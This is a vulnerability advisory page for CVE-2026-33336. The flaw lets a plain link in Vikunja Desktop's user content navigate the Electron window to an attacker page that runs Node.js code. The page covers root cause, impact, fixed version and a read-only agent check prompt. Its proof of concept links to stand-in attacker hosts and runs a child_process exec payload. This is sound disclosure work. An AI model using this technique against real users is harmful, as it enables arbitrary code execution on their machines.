# CVE-2026-33336: Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** MEDIUM 6.5
- **CVSS:** 6.5 (v4.0, CNA) `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H`
- **CVSS metrics:** Attack vector: Network; Attack complexity: Low; Attack requirements: None; Privileges required: None; User interaction: Passive; Confidentiality impact: None; Integrity impact: None; Availability impact: None; Confidentiality impact on other systems: High; Integrity impact on other systems: High; Availability impact on other systems: High
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Remote, no login needed
- **EPSS:** 1.10% (percentile 65, 2026-11-26)
- **CWE:** CWE-94
- **Published:** 2026-03-24T15:16:14.681Z
- **Modified:** 2026-06-17T10:37:20.490Z

## Who should check

- Anyone running go-vikunja vikunja \>= 0.21.0, \< 2.2.0

## Description

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables \`nodeIntegration\` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

\#\# Root cause

Two misconfigurations combine to create this vulnerability:

1. \*\*\`nodeIntegration: true\`\*\* is set in \`BrowserWindow\` web preferences (\`desktop/main.js:14-16\`), giving any page loaded in the renderer full access to Node.js APIs (\`require\`, \`child\_process\`, \`fs\`, etc.).

2. \*\*No \`will-navigate\` or \`will-redirect\` handler\*\* is registered on the \`webContents\`. The existing \`setWindowOpenHandler\` (\`desktop/main.js:19-23\`) only intercepts \`window.open()\` calls (new-window requests). It does \*\*not\*\* intercept same-window navigations triggered by:
   - \`\<a href="https://..."\>\` links (without \`target="\_blank"\`)
   - \`window.location\` assignments
   - HTTP redirects
   - \`\<meta http-equiv="refresh"\>\` tags

\#\# Attack scenario

1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: \`\<a href="https://evil.example/exploit"\>Click here for the updated design spec\</a\>\`
3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: \`frontend/src/views/project/ProjectInfo.vue\` uses \`v-html\` with DOMPurify-sanitized output.
4. The victim uses Vikunja Desktop and clicks the link.
5. Because no \`will-navigate\` handler exists, the BrowserWindow navigates to \`https://evil.example/exploit\` in the same renderer process.
6. The attacker's page now executes in a context with \`nodeIntegration: true\` and runs: \`require('child\_process').exec('id \> /tmp/pwned');\`
7. Arbitrary commands execute as the victim's OS user.

\#\# Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

\#\# Proof of concept

1. Set up a Vikunja instance with two users sharing a project.
2. As the attacker user, edit a project description to include: \`\<a href="https://attacker.example/poc.html"\>Meeting notes\</a\>\`
3. Host poc.html with: \`\<script\>require('child\_process').exec('calc.exe')\</script\>\`
4. As the victim, open the project in Vikunja Desktop and click the link.
5. calc.exe (or any other command) executes on the victim's machine.

\#\# Credits

This vulnerability was found using \[GitHub Security Lab Taskflows\](https://github.com/GitHubSecurityLab/seclab-taskflows).

## Affected and fixed versions

- go-vikunja vikunja: \>= 0.21.0, \< 2.2.0 (cvelist)

## Mitigation

- Upgrade vikunja to 2.2.0 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-33336. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-33336.md
Affected: go-vikunja vikunja >= 0.21.0, < 2.2.0
Fixed in: go-vikunja vikunja 2.2.0

Steps:
1. Search this machine and project for go-vikunja vikunja: dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-33336 being exploited?

There is no confirmed exploitation: CVE-2026-33336 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 1.10% chance of exploitation in the next 30 days (as of 2026-11-26).

### How serious is CVE-2026-33336?

Medium: CVSS 6.5 (v4.0, scored by CNA). Remote, no login needed. A user has to take an action, such as opening a link, for the attack to work.

### Which versions are affected by CVE-2026-33336?

go-vikunja vikunja \>= 0.21.0, \< 2.2.0.

### Is there a fix for CVE-2026-33336?

Yes. Fixed in go-vikunja vikunja 2.2.0. Upgrade vikunja to 2.2.0 or later.

### How do I check if I'm affected by CVE-2026-33336?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf>
- other: <https://vikunja.io/changelog/vikunja-v2.2.0-was-released>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- NVD: This product uses data from the NVD API but is not endorsed or certified by the NVD. <https://nvd.nist.gov/vuln/detail/CVE-2026-33336>

HTML: <https://flawdb.com/CVE-2026-33336> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-33336>
